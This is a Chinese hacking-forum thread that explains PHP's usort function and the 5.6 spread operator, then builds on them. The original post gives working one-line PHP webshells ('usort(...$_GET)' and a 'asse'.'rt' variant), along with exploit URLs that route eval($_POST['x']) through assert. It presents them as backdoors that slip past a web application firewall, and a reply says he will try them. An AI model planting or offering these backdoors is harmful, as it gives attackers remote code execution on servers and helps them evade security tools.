[【申请转正】] PHP函数usort是咋回事?还能当后门?

[复制链接]
Wd0g 发表于 2017-2-5 01:31:53 | 显示全部楼层 |阅读模式

正式成员|主题 |帖子 |积分 11

本帖最后由 Wd0g 于 2017-2-5 01:35 编辑

开始

详情看这:https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html

原谅我见识短,没用过usort函数

上面连接的文章中,发现有这个函数

于是刚刚了解了下usort函数



usort函数干嘛的?

官方介绍:http://php.net/manual/zh/function.usort.php

通俗点说就是一个稍微复杂点的数组,如果用php自带的函数不是很方便

所以用户可以自己定义一个函数,然后使用usort函数来进行回调
[PHP] 纯文本查看 复制代码
<?php
function my_sort($a,$b){
    if ($a==$b){
        return 0;
    }else{
        return ($a<$b)?-1:1;    
    }
}
$list = array(4,2,8,6);
usort($list,'my_sort');

第一个参数必须是数组

第二个参数是函数名称

usort函数执行的时候,会依次把$a中的两个值,传递给名字为my_sort函数中,所以你会看到my_sort有两个形参

然后php会判断my_sort函数的返回值

如果为0,则位置不变

如果为-1.则$a位置和$b不变

如果为1,则$a位置和$b互换

有趣的来了

开始里面的文章中,讲到了一个php5.6的新特性

…运算符,对就是三个点

官方介绍:http://php.net/manual/zh/migration56.new-features.php

该运算符可以将数组或者可遍历的对象展开变为参数

不过必须是索引数组哦~~~

举个栗子


[PHP] 纯文本查看 复制代码
<?php
$list = [1,2,3];
var_dump($list);
echo "========\n";// 
var_dump(...$list);

返回结果如下


[PHP] 纯文本查看 复制代码
array(3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}
========
int(1)
int(2)
int(3)


编写一句话

先放出最终的代码


[PHP] 纯文本查看 复制代码
<?php usort(...$_GET);?>

那么$_GET变量中的值,应该是


[PHP] 纯文本查看 复制代码
[['$a=0','eval($_POST["x"])'],'assert'];

$_GET[0]是usort的第一个参数

$_GET[1]是usort的回调函数名

也就相当于


[PHP] 纯文本查看 复制代码
<?php usort(['$a=0','eval($_POST["x"])'],'assert');?>

最终利用是这样的


[PHP] 纯文本查看 复制代码
http://www.url.com/t.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert

我自己本地环境测试成功了~~~

应该能过什么安全狗啊啥的

更新(17-01-19)

上面的一句话,只能在php环境>=5.6才能用

于是更新下,环境>=<5.6都可以的一句话


[PHP] 纯文本查看 复制代码
<?php usort($_GET,'asse'.'rt');?>

使用方法


[PHP] 纯文本查看 复制代码
http://www.url.com/test.php?1=1+1&2=eval($_POST[x])
javexj 发表于 2017-2-5 14:13:20 | 显示全部楼层

正式成员|主题 |帖子 |积分 212

赶快拿走去试试,目测狗狗应该不会查
小透明 发表于 2017-2-5 17:58:33 | 显示全部楼层

正式成员|主题 |帖子 |积分 153

这个和py里面的  map()函数有啥区别吗?
vercher 发表于 2017-2-6 22:58:41 | 显示全部楼层

正式成员|主题 |帖子 |积分 97

post  提交  字母200错误, 提交 数字 OK,为啥
[email protected] 发表于 2017-2-7 14:02:36 | 显示全部楼层

正式成员|主题 |帖子 |积分 63

复制别人的东西还要转正。t00ls发过的
 楼主 Wd0g 发表于 2017-2-8 09:14:25 | 显示全部楼层

正式成员|主题 |帖子 |积分 11

RE: PHP函数usort是咋回事?还能当后门?

[email protected] 发表于 2017-2-7 14:02
复制别人的东西还要转正。t00ls发过的

t00ls的就是我发的...
快速回复 返回顶部 返回列表